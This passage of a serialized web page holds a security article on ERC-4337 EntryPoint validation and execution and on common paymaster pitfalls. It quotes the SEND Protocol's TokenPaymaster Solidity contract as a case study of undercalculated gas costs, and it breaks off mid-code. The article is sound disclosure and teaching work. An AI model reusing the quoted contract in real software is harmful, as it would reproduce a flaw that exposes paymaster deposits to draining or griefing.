",{"type":21,"tag":194,"props":102861,"children":102863},{"className":102862},[],[102864],{"type":27,"value":102865},"UserOp",{"type":27,"value":102679},{"type":21,"tag":194,"props":102868,"children":102870},{"className":102869},[],[102871],{"type":27,"value":102645},{"type":27,"value":185},{"type":21,"tag":71,"props":102874,"children":102875},{},[102876,102894,102912,102933,102945],{"type":21,"tag":75,"props":102877,"children":102878},{},[102879,102886,102888],{"type":21,"tag":34,"props":102880,"children":102883},{"href":102881,"rel":102882},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[38],[102884],{"type":27,"value":102885},"Calculates",{"type":27,"value":102887}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":21,"tag":194,"props":102889,"children":102891},{"className":102890},[],[102892],{"type":27,"value":102893},"maxFeePerGas",{"type":21,"tag":75,"props":102895,"children":102896},{},[102897,102904,102905,102910],{"type":21,"tag":34,"props":102898,"children":102901},{"href":102899,"rel":102900},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[38],[102902],{"type":27,"value":102903},"Calls",{"type":27,"value":915},{"type":21,"tag":194,"props":102906,"children":102908},{"className":102907},[],[102909],{"type":27,"value":102612},{"type":27,"value":102911}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":21,"tag":75,"props":102913,"children":102914},{},[102915,102917,102924,102926,102931],{"type":27,"value":102916},"If no paymaster is specified, attempts to ",{"type":21,"tag":34,"props":102918,"children":102921},{"href":102919,"rel":102920},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[38],[102922],{"type":27,"value":102923},"deduct",{"type":27,"value":102925}," the prefund amount from the sender's ETH deposit in the ",{"type":21,"tag":194,"props":102927,"children":102929},{"className":102928},[],[102930],{"type":27,"value":102645},{"type":27,"value":102932}," (this can be partially refunded later if actual execution costs less)",{"type":21,"tag":75,"props":102934,"children":102935},{},[102936,102943],{"type":21,"tag":34,"props":102937,"children":102940},{"href":102938,"rel":102939},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[38],[102941],{"type":27,"value":102942},"Validates",{"type":27,"value":102944}," the nonce to prevent replay attacks",{"type":21,"tag":75,"props":102946,"children":102947},{},[102948,102950,102956,102958,102964,102965,102970],{"type":27,"value":102949},"If a paymaster is specified, it will ",{"type":21,"tag":34,"props":102951,"children":102954},{"href":102952,"rel":102953},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[38],[102955],{"type":27,"value":102923},{"type":27,"value":102957}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":21,"tag":34,"props":102959,"children":102962},{"href":102960,"rel":102961},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[38],[102963],{"type":27,"value":39054},{"type":27,"value":915},{"type":21,"tag":194,"props":102966,"children":102968},{"className":102967},[],[102969],{"type":27,"value":102752},{"type":27,"value":102971}," on the paymaster contract to verify it will cover gas costs",{"type":21,"tag":30,"props":102973,"children":102974},{},[102975,102977,102982,102984,102989],{"type":27,"value":102976},"Only after all these validation checks pass will the ",{"type":21,"tag":194,"props":102978,"children":102980},{"className":102979},[],[102981],{"type":27,"value":102645},{"type":27,"value":102983}," move on to actually executing the ",{"type":21,"tag":194,"props":102985,"children":102987},{"className":102986},[],[102988],{"type":27,"value":102564},{"type":27,"value":102990},". This strict validation flow ensures that:",{"type":21,"tag":138,"props":102992,"children":102993},{},[102994,102999,103004,103009],{"type":21,"tag":75,"props":102995,"children":102996},{},[102997],{"type":27,"value":102998},"The operation is legitimate and authorized by the user",{"type":21,"tag":75,"props":103000,"children":103001},{},[103002],{"type":27,"value":103003},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":21,"tag":75,"props":103005,"children":103006},{},[103007],{"type":27,"value":103008},"The operation cannot be replayed",{"type":21,"tag":75,"props":103010,"children":103011},{},[103012],{"type":27,"value":103013},"All involved contracts (sender and paymaster) have approved the execution",{"type":21,"tag":30,"props":103015,"children":103016},{},[103017],{"type":27,"value":103018},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":21,"tag":59,"props":103020,"children":103022},{"id":103021},"execution-phase",[103023],{"type":27,"value":103024},"Execution Phase",{"type":21,"tag":30,"props":103026,"children":103027},{},[103028,103030,103035,103037,103044,103046,103051],{"type":27,"value":103029},"After all operations have passed validation, the ",{"type":21,"tag":194,"props":103031,"children":103033},{"className":103032},[],[103034],{"type":27,"value":102645},{"type":27,"value":103036}," begins the ",{"type":21,"tag":34,"props":103038,"children":103041},{"href":103039,"rel":103040},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[38],[103042],{"type":27,"value":103043},"execution",{"type":27,"value":103045}," phase, processing each ",{"type":21,"tag":194,"props":103047,"children":103049},{"className":103048},[],[103050],{"type":27,"value":102564},{"type":27,"value":103052}," individually. For each operation, the flow is:",{"type":21,"tag":71,"props":103054,"children":103055},{},[103056,103116,103162],{"type":21,"tag":75,"props":103057,"children":103058},{},[103059,103060,103065,103067,103073,103074,103080,103082],{"type":27,"value":534},{"type":21,"tag":194,"props":103061,"children":103063},{"className":103062},[],[103064],{"type":27,"value":102645},{"type":27,"value":103066}," makes a ",{"type":21,"tag":34,"props":103068,"children":103071},{"href":103069,"rel":103070},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[38],[103072],{"type":27,"value":39054},{"type":27,"value":57153},{"type":21,"tag":194,"props":103075,"children":103077},{"className":103076},[],[103078],{"type":27,"value":103079},"innerHandleOp()",{"type":27,"value":103081},", which:\n",{"type":21,"tag":138,"props":103083,"children":103084},{},[103085,103097,103102],{"type":21,"tag":75,"props":103086,"children":103087},{},[103088,103095],{"type":21,"tag":34,"props":103089,"children":103092},{"href":103090,"rel":103091},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[38],[103093],{"type":27,"value":103094},"Forwards",{"type":27,"value":103096}," the operation to the sender's smart account contract",{"type":21,"tag":75,"props":103098,"children":103099},{},[103100],{"type":27,"value":103101},"Executes the intended transaction(s) within the smart account",{"type":21,"tag":75,"props":103103,"children":103104},{},[103105,103107,103114],{"type":27,"value":103106},"Handles ",{"type":21,"tag":34,"props":103108,"children":103111},{"href":103109,"rel":103110},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[38],[103112],{"type":27,"value":103113},"post-execution",{"type":27,"value":103115}," tasks and cleanup",{"type":21,"tag":75,"props":103117,"children":103118},{},[103119,103121,103127,103129,103135,103136,103142,103144],{"type":27,"value":103120},"If a paymaster was used, ",{"type":21,"tag":194,"props":103122,"children":103124},{"className":103123},[],[103125],{"type":27,"value":103126},"Entrypoint",{"type":27,"value":103128}," will ",{"type":21,"tag":34,"props":103130,"children":103133},{"href":103131,"rel":103132},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[38],[103134],{"type":27,"value":39054},{"type":27,"value":915},{"type":21,"tag":194,"props":103137,"children":103139},{"className":103138},[],[103140],{"type":27,"value":103141},"paymaster.postOp()",{"type":27,"value":103143}," to:\n",{"type":21,"tag":138,"props":103145,"children":103146},{},[103147,103152,103157],{"type":21,"tag":75,"props":103148,"children":103149},{},[103150],{"type":27,"value":103151},"Allow paymaster to finalize its accounting",{"type":21,"tag":75,"props":103153,"children":103154},{},[103155],{"type":27,"value":103156},"Process any refunds or additional charges",{"type":21,"tag":75,"props":103158,"children":103159},{},[103160],{"type":27,"value":103161},"Complete any paymaster-specific logic",{"type":21,"tag":75,"props":103163,"children":103164},{},[103165,103167,103172,103173,103180,103182],{"type":27,"value":103166},"Finally, after all operations are processed, the ",{"type":21,"tag":194,"props":103168,"children":103170},{"className":103169},[],[103171],{"type":27,"value":102645},{"type":27,"value":915},{"type":21,"tag":34,"props":103174,"children":103177},{"href":103175,"rel":103176},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[38],[103178],{"type":27,"value":103179},"compensates",{"type":27,"value":103181}," the bundler for:\n",{"type":21,"tag":138,"props":103183,"children":103184},{},[103185,103190,103195],{"type":21,"tag":75,"props":103186,"children":103187},{},[103188],{"type":27,"value":103189},"Gas costs from executing all operations",{"type":21,"tag":75,"props":103191,"children":103192},{},[103193],{"type":27,"value":103194},"Overhead from submitting the batch transaction",{"type":21,"tag":75,"props":103196,"children":103197},{},[103198],{"type":27,"value":103199},"Any unused gas, which is refunded",{"type":21,"tag":30,"props":103201,"children":103202},{},[103203],{"type":27,"value":103204},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":21,"tag":30,"props":103206,"children":103207},{},[103208,103210,103215,103217,103223,103225,103230],{"type":27,"value":103209},"Now that we understand how the ",{"type":21,"tag":194,"props":103211,"children":103213},{"className":103212},[],[103214],{"type":27,"value":102645},{"type":27,"value":103216}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":21,"tag":194,"props":103218,"children":103220},{"className":103219},[],[103221],{"type":27,"value":103222},"paymasters",{"type":27,"value":103224}," that align with the ",{"type":21,"tag":194,"props":103226,"children":103228},{"className":103227},[],[103229],{"type":27,"value":102645},{"type":27,"value":103231},"'s execution model, leading to potential vulnerabilities.",{"type":21,"tag":36146,"props":103233,"children":103235},{"id":103234},"common-pitfalls-in-paymaster-implementation",[103236],{"type":27,"value":103237},"Common Pitfalls in Paymaster Implementation",{"type":21,"tag":30,"props":103239,"children":103240},{},[103241,103243,103248],{"type":27,"value":103242},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":21,"tag":194,"props":103244,"children":103246},{"className":103245},[],[103247],{"type":27,"value":102645},{"type":27,"value":103249}," to exploitation or griefing.",{"type":21,"tag":30,"props":103251,"children":103252},{},[103253,103255,103260],{"type":27,"value":103254},"In this section, we’ll walk through the ",{"type":21,"tag":6137,"props":103256,"children":103257},{},[103258],{"type":27,"value":103259},"two most common pitfalls",{"type":27,"value":103261}," we’ve observed in real-world paymaster implementations:",{"type":21,"tag":22,"props":103263,"children":103265},{"id":103264},"undercalculated-gas-costs",[103266],{"type":21,"tag":6137,"props":103267,"children":103268},{},[103269],{"type":27,"value":103270},"Undercalculated Gas Costs",{"type":21,"tag":30,"props":103272,"children":103273},{},[103274,103276,103281,103283,103288,103290,103295,103297,103304],{"type":27,"value":103275},"To understand this issue, let's first examine how gas penalties work in the ",{"type":21,"tag":194,"props":103277,"children":103279},{"className":103278},[],[103280],{"type":27,"value":102645},{"type":27,"value":103282},". When a ",{"type":21,"tag":194,"props":103284,"children":103286},{"className":103285},[],[103287],{"type":27,"value":102564},{"type":27,"value":103289}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":21,"tag":194,"props":103291,"children":103293},{"className":103292},[],[103294],{"type":27,"value":102645},{"type":27,"value":103296}," charges a ",{"type":21,"tag":34,"props":103298,"children":103301},{"href":103299,"rel":103300},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[38],[103302],{"type":27,"value":103303},"penalty of 10%",{"type":27,"value":103305}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":21,"tag":30,"props":103307,"children":103308},{},[103309],{"type":27,"value":103310},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":21,"tag":187,"props":103312,"children":103314},{"className":5287,"code":103313,"language":5286,"meta":7,"style":7},"contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n internal\n override\n returns (bytes memory context, uint256 validationResult)\n {\n unchecked {\n uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n uint256 baseFee = tokenPaymasterConfig.baseFee;\n uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n // note: price is in native-asset-per-token increasing it means dividing it by markup\n uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n if (dataLength == 32) {\n uint256 clientSuppliedPrice =\n uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n // note: smaller number means 'more native asset per token'\n cachedPriceWithMarkup = clientSuppliedPrice;\n }\n }\n uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n tokenAmount += baseFee;\n SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n context = abi.encode(tokenAmount, userOp.sender);\n validationResult =\n _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n }\n }\n[...]\n function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n internal\n override\n {\n unchecked {\n uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n uint256 baseFee = tokenPaymasterConfig.baseFee;\n (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n preCharge -= baseFee; // don't refund the base fee\n uint256 _cachedPrice = updateCachedPrice(false);\n // note: price is in native-asset-per-token increasing it means dividing it by markup\n uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n // Refund tokens based on actual gas cost\n uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n if (preCharge > actualTokenNeeded) {\n // If initially provided token amount is greater than the actual amount needed, refund the difference\n SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n } else if (preCharge \u003C actualTokenNeeded) {\n // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n }\n\n if (baseFee > 0) {\n SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n }\n\n emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n refillEntryPointDeposit(_cachedPrice);\n }\n }\n}\n",[103315],{"type":21,"tag":194,"props":103316,"children":103317},{"__ignoreMap":7},[103318,103362,103369,103426,103434,103442,103484,103491,103503,103525,103546,103576,103627,103657,103678,103716,103755,103772,103811,103835,103852,103895,103917,103934,103951,103958,103965,103991,104008,104043,104074,104086,104133,104140,104147,104154,104221,104228,104235,104242,104253,104272,104291,104355,104378,104411,104426,104461,104469,104508,104533,104554,104562,104589,104616,104624,104632,104674,104681,104688,104712,104728,104735,104742,104760,104773,104780,104788],{"type":21,"tag":198,"props":103319,"children":103320},{"class":200,"line":201},[103321,103325,103330,103335,103340,103344,103349,103353,103358],{"type":21,"tag":198,"props":103322,"children":103323},{"style":249},[103324],{"type":27,"value":90196},{"type":21,"tag":198,"props":103326,"children":103327},{"style":1966},[103328],{"type":27,"value":103329}," TokenPaymaster",{"type":21,"tag":198,"props":103331,"children":103332},{"style":249},[103333],{"type":27,"value":103334}," is",{"type":21,"tag":198,"props":103336,"children":103337},{"style":1966},[103338],{"type":27,"value":103339}," BasePaymaster",{"type":21,"tag":198,"props":103341,"children":103342},{"style":211},[103343],{"type":27,"value":828},{"type":21,"tag":198,"props":103345,"children":103346},{"style":1966},[103347],{"type":27,"value":103348},"UniswapHelper",{"type":21,"tag":198,"props":103350,"children":103351},{"style":211},[103352],{"type":27,"value":828},{"type":21,"tag":198,"props":103354,"children":103355},{"style":1966},[103356],{"type":27,"value":103357},"OracleHelper",{"type":21,"tag":198,"props":103359,"children":103360},{"style":211},[103361],{"type":27,"value":233},{"type":21,"tag":198,"props":103363,"children":103364},{"class":200,"line":217},[103365],{"type":21,"tag":198,"props":103366,"children":103367},{"style":211},[103368],{"type":27,"value":11127},{"type":21,"tag":198,"props":103370,"children":103371},{"class":200,"line":236},[103372,103376,103381,103385,103390,103395,103400,103404,103409,103413,103417,103422],{"type":21,"tag":198,"props":103373,"children":103374},{"style":249},[103375],{"type":27,"value":90213},{"type":21,"tag":198,"props":103377,"children":103378},{"style":698},[103379],{"type":27,"value":103380}," _validatePaymasterUserOp",{"type":21,"tag":198,"props":103382,"children":103383},{"style":211},[103384],{"type":27,"value":706},{"type":21,"tag":198,"props":103386,"children":103387},{"style":249},[103388],{"type":27,"value":103389},"PackedUserOperation",{"type":21,"tag":198,"props":103391,"children":103392},{"style":249},[103393],{"type":27,"value":103394}," calldata",{"type":21,"tag":198,"props":103396,"children":103397},{"style":226},[103398],{"type":27,"value":103399}," userOp",{"type":21,"tag":198,"props":103401,"children":103402},{"style":211},[103403],{"type":27,"value":828},{"type":21,"tag":198,"props":103405,"children":103406},{"style":1966},[103407],{"type":27,"value":103408},"bytes32",{"type":21,"tag":198,"props":103410,"children":103411},{"style":211},[103412],{"type":27,"value":828},{"type":21,"tag":198,"props":103414,"children":103415},{"style":1966},[103416],{"type":27,"value":46926},{"type":21,"tag":198,"props":103418,"children":103419},{"style":226},[103420],{"type":27,"value":103421}," requiredPreFund",{"type":21,"tag":198,"props":103423,"children":103424},{"style":211},[103425],{"type":27,"value":789},{"type":21,"tag":198,"props":103427,"children":103428},{"class":200,"line":260},[103429],{"type":21,"tag":198,"props":103430,"children":103431},{"style":249},[103432],{"type":27,"value":103433}," internal\n",{"type":21,"tag":198,"props":103435,"children":103436},{"class":200,"line":281},[103437],{"type":21,"tag":198,"props":103438,"children":103439},{"style":249},[103440],{"type":27,"value":103441}," override\n",{"type":21,"tag":198,"props":103443,"children":103444},{"class":200,"line":302},[103445,103450,103454,103458,103463,103467,103471,103475,103480],{"type":21,"tag":198,"props":103446,"children":103447},{"style":640},[103448],{"type":27,"value":103449}," returns",{"type":21,"tag":198,"props":103451,"children":103452},{"style":211},[103453],{"type":27,"value":648},{"type":21,"tag":198,"props":103455,"children":103456},{"style":1966},[103457],{"type":27,"value":84210},{"type":21,"tag":198,"props":103459,"children":103460},{"style":249},[103461],{"type":27,"value":103462}," memory",{"type":21,"tag":198,"props":103464,"children":103465},{"style":226},[103466],{"type":27,"value":76722},{"type":21,"tag":198,"props":103468,"children":103469},{"style":211},[103470],{"type":27,"value":828},{"type":21,"tag":198,"props":103472,"children":103473},{"style":1966},[103474],{"type":27,"value":46926},{"type":21,"tag":198,"props":103476,"children":103477},{"style":226},[103478],{"type":27,"value":103479}," validationResult",{"type":21,"tag":198,"props":103481,"children":103482},{"style":211},[103483],{"type":27,"value":789},{"type":21,"tag":198,"props":103485,"children":103486},{"class":200,"line":323},[103487],{"type":21,"tag":198,"props":103488,"children":103489},{"style":211},[103490],{"type":27,"value":29989},{"type":21,"tag":198,"props":103492,"children":103493},{"class":200,"line":344},[103494,103499],{"type":21,"tag":198,"props":103495,"children":103496},{"style":640},[103497],{"type":27,"value":103498}," unchecked",{"type":21,"tag":198,"props":103500,"children":103501},{"style":211},[103502],{"type":27,"value":233},{"type":21,"tag":198,"props":103504,"children":103505},{"class":200,"line":365},[103506,103511,103516,103520],{"type":21,"tag":198,"props":103507,"children":103508},{"style":1966},[103509],{"type":27,"value":103510}," uint256",{"type":21,"tag":198,"props":103512,"children":103513},{"style":211},[103514],{"type":27,"value":103515}," priceMarkup ",{"type":21,"tag":198,"props":103517,"children":103518},{"style":683},[103519],{"type":27,"value":3174},{"type":21,"tag":198,"props":103521,"children":103522},{"style":211},[103523],{"type":27,"value":103524}," tokenPaymasterConfig.priceMarkup;\n",{"type":21,"tag":198,"props":103526,"children":103527},{"class":200,"line":386},[103528,103532,103537,103541],{"type":21,"tag":198,"props":103529,"children":103530},{"style":1966},[103531],{"type":27,"value":103510},{"type":21,"tag":198,"props":103533,"children":103534},{"style":211},[103535],{"type":27,"value":103536}," baseFee ",{"type":21,"tag":198,"props":103538,"children":103539},{"style":683},[103540],{"type":27,"value":3174},{"type":21,"tag":198,"props":103542,"children":103543},{"style":211},[103544],{"type":27,"value":103545}," tokenPaymasterConfig.baseFee;\n",{"type":21,"tag":198,"props":103547,"children":103548},{"class":200,"line":408},[103549,103553,103558,103562,103567,103571],{"type":21,"tag":198,"props":103550,"children":103551},{"style":1966},[103552],{"type":27,"value":103510},{"type":21,"tag":198,"props":103554,"children":103555},{"style":211},[103556],{"type":27,"value":103557}," dataLength ",{"type":21,"tag":198,"props":103559,"children":103560},{"style":683},[103561],{"type":27,"value":3174},{"type":21,"tag":198,"props":103563,"children":103564},{"style":211},[103565],{"type":27,"value":103566}," userOp.paymasterAndData.length ",{"type":21,"tag":198,"props":103568,"children":103569},{"style":683},[103570],{"type":27,"value":5139},{"type":21,"tag":198,"props":103572,"children":103573},{"style":211},[103574],{"type":27,"value":103575}," PAYMASTER_DATA_OFFSET;\n",{"type":21,"tag":198,"props":103577,"children":103578},{"class":200,"line":429},[103579,103584,103589,103593,103597,103601,103605,103609,103614,103618,103623],{"type":21,"tag":198,"props":103580,"children":103581},{"style":640},[103582],{"type":27,"value":103583}," require",{"type":21,"tag":198,"props":103585,"children":103586},{"style":211},[103587],{"type":27,"value":103588},"(dataLength ",{"type":21,"tag":198,"props":103590,"children":103591},{"style":683},[103592],{"type":27,"value":9386},{"type":21,"tag":198,"props":103594,"children":103595},{"style":2540},[103596],{"type":27,"value":3855},{"type":21,"tag":198,"props":103598,"children":103599},{"style":683},[103600],{"type":27,"value":24501},{"type":21,"tag":198,"props":103602,"children":103603},{"style":211},[103604],{"type":27,"value":103557},{"type":21,"tag":198,"props":103606,"children":103607},{"style":683},[103608],{"type":27,"value":9386},{"type":21,"tag":198,"props":103610,"children":103611},{"style":2540},[103612],{"type":27,"value":103613}," 32",{"type":21,"tag":198,"props":103615,"children":103616},{"style":211},[103617],{"type":27,"value":828},{"type":21,"tag":198,"props":103619,"children":103620},{"style":205},[103621],{"type":27,"value":103622},"\"TPM: invalid data length\"",{"type":21,"tag":198,"props":103624,"children":103625},{"style":211},[103626],{"type":27,"value":1470},{"type":21,"tag":198,"props":103628,"children":103629},{"class":200,"line":450},[103630,103634,103639,103643,103648,103653],{"type":21,"tag":198,"props":103631,"children":103632},{"style":1966},[103633],{"type":27,"value":103510},{"type":21,"tag":198,"props":103635,"children":103636},{"style":211},[103637],{"type":27,"value":103638}," maxFeePerGas ",{"type":21,"tag":198,"props":103640,"children":103641},{"style":683},[103642],{"type":27,"value":3174},{"type":21,"tag":198,"props":103644,"children":103645},{"style":211},[103646],{"type":27,"value":103647}," userOp.",{"type":21,"tag":198,"props":103649,"children":103650},{"style":698},[103651],{"type":27,"value":103652},"unpackMaxFeePerGas",{"type":21,"tag":198,"props":103654,"children":103655},{"style":211},[103656],{"type":27,"value":3404},{"type":21,"tag":198,"props":103658,"children":103659},{"class":200,"line":468},[103660,103664,103669,103673],{"type":21,"tag":198,"props":103661,"children":103662},{"style":1966},[103663],{"type":27,"value":103510},{"type":21,"tag":198,"props":103665,"children":103666},{"style":211},[103667],{"type":27,"value":103668}," refundPostopCost ",{"type":21,"tag":198,"props":103670,"children":103671},{"style":683},[103672],{"type":27,"value":3174},{"type":21,"tag":198,"props":103674,"children":103675},{"style":211},[103676],{"type":27,"value":103677}," tokenPaymasterConfig.refundPostopCost;\n",{"type":21,"tag":198,"props":103679,"children":103680},{"class":200,"line":477},[103681,103685,103690,103694,103698,103703,103707,103712],{"type":21,"tag":198,"props":103682,"children":103683},{"style":640},[103684],{"type":27,"value":103583},{"type":21,"tag":198,"props":103686,"children":103687},{"style":211},[103688],{"type":27,"value":103689},"(refundPostopCost ",{"type":21,"tag":198,"props":103691,"children":103692},{"style":683},[103693],{"type":27,"value":3159},{"type":21,"tag":198,"props":103695,"children":103696},{"style":211},[103697],{"type":27,"value":103647},{"type":21,"tag":198,"props":103699,"children":103700},{"style":698},[103701],{"type":27,"value":103702},"unpackPostOpGasLimit",{"type":21,"tag":198,"props":103704,"children":103705},{"style":211},[103706],{"type":27,"value":19178},{"type":21,"tag":198,"props":103708,"children":103709},{"style":205},[103710],{"type":27,"value":103711},"\"TPM: postOpGasLimit too low\"",{"type":21,"tag":198,"props":103713,"children":103714},{"style":211},[103715],{"type":27,"value":1470},{"type":21,"tag":198,"props":103717,"children":103718},{"class":200,"line":494},[103719,103723,103728,103732,103737,103741,103746,103750],{"type":21,"tag":198,"props":103720,"children":103721},{"style":1966},[103722],{"type":27,"value":103510},{"type":21,"tag":198,"props":103724,"children":103725},{"style":211},[103726],{"type":27,"value":103727}," preChargeNative ",{"type":21,"tag":198,"props":103729,"children":103730},{"style":683},[103731],{"type":27,"value":3174},{"type":21,"tag":198,"props":103733,"children":103734},{"style":211},[103735],{"type":27,"value":103736}," requiredPreFund ",{"type":21,"tag":198,"props":103738,"children":103739},{"style":683},[103740],{"type":27,"value":5193},{"type":21,"tag":198,"props":103742,"children":103743},{"style":211},[103744],{"type":27,"value":103745}," (refundPostopCost ",{"type":21,"tag":198,"props":103747,"children":103748},{"style":683},[103749],{"type":27,"value":5383},{"type":21,"tag":198,"props":103751,"children":103752},{"style":211},[103753],{"type":27,"value":103754}," maxFeePerGas);\n",{"type":21,"tag":198,"props":103756,"children":103757},{"class":200,"line":515},[103758,103763,103767],{"type":21,"tag":198,"props":103759,"children":103760},{"style":1233},[103761],{"type":27,"value":103762}," // ",{"type":21,"tag":198,"props":103764,"children":103765},{"style":249},[103766],{"type":27,"value":67138},{"type":21,"tag":198,"props":103768,"children":103769},{"style":1233},[103770],{"type":27,"value":103771},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":21,"tag":198,"props":103773,"children":103774},{"class":200,"line":4484},[103775,103779,103784,103788,103793,103797,103802,103806],{"type":21,"tag":198,"props":103776,"children":103777},{"style":1966},[103778],{"type":27,"value":103510},{"type":21,"tag":198,"props":103780,"children":103781},{"style":211},[103782],{"type":27,"value":103783}," cachedPriceWithMarkup ",{"type":21,"tag":198,"props":103785,"children":103786},{"style":683},[103787],{"type":27,"value":3174},{"type":21,"tag":198,"props":103789,"children":103790},{"style":211},[103791],{"type":27,"value":103792}," cachedPrice ",{"type":21,"tag":198,"props":103794,"children":103795},{"style":683},[103796],{"type":27,"value":5383},{"type":21,"tag":198,"props":103798,"children":103799},{"style":211},[103800],{"type":27,"value":103801}," DENOM ",{"type":21,"tag":198,"props":103803,"children":103804},{"style":683},[103805],{"type":27,"value":2232},{"type":21,"tag":198,"props":103807,"children":103808},{"style":211},[103809],{"type":27,"value":103810}," priceMarkup;\n",{"type":21,"tag":198,"props":103812,"children":103813},{"class":200,"line":4493},[103814,103818,103823,103827,103831],{"type":21,"tag":198,"props":103815,"children":103816},{"style":640},[103817],{"type":27,"value":59178},{"type":21,"tag":198,"props":103819,"children":103820},{"style":211},[103821],{"type":27,"value":103822}," (dataLength ",{"type":21,"tag":198,"props":103824,"children":103825},{"style":683},[103826],{"type":27,"value":9386},{"type":21,"tag":198,"props":103828,"children":103829},{"style":2540},[103830],{"type":27,"value":103613},{"type":21,"tag":198,"props":103832,"children":103833},{"style":211},[103834],{"type":27,"value":668},{"type":21,"tag":198,"props":103836,"children":103837},{"class":200,"line":4561},[103838,103843,103848],{"type":21,"tag":198,"props":103839,"children":103840},{"style":1966},[103841],{"type":27,"value":103842}," uint256",{"type":21,"tag":198,"props":103844,"children":103845},{"style":211},[103846],{"type":27,"value":103847}," clientSuppliedPrice ",{"type":21,"tag":198,"props":103849,"children":103850},{"style":683},[103851],{"type":27,"value":15498},{"type":21,"tag":198,"props":103853,"children":103854},{"class":200,"line":4569},[103855,103860,103864,103868,103873,103877,103882,103886,103890],{"type":21,"tag":198,"props":103856,"children":103857},{"style":1966},[103858],{"type":27,"value":103859}," uint256",{"type":21,"tag":198,"props":103861,"children":103862},{"style":211},[103863],{"type":27,"value":706},{"type":21,"tag":198,"props":103865,"children":103866},{"style":1966},[103867],{"type":27,"value":103408},{"type":21,"tag":198,"props":103869,"children":103870},{"style":211},[103871],{"type":27,"value":103872},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":21,"tag":198,"props":103874,"children":103875},{"style":683},[103876],{"type":27,"value":185},{"type":21,"tag":198,"props":103878,"children":103879},{"style":211},[103880],{"type":27,"value":103881},"PAYMASTER_DATA_OFFSET 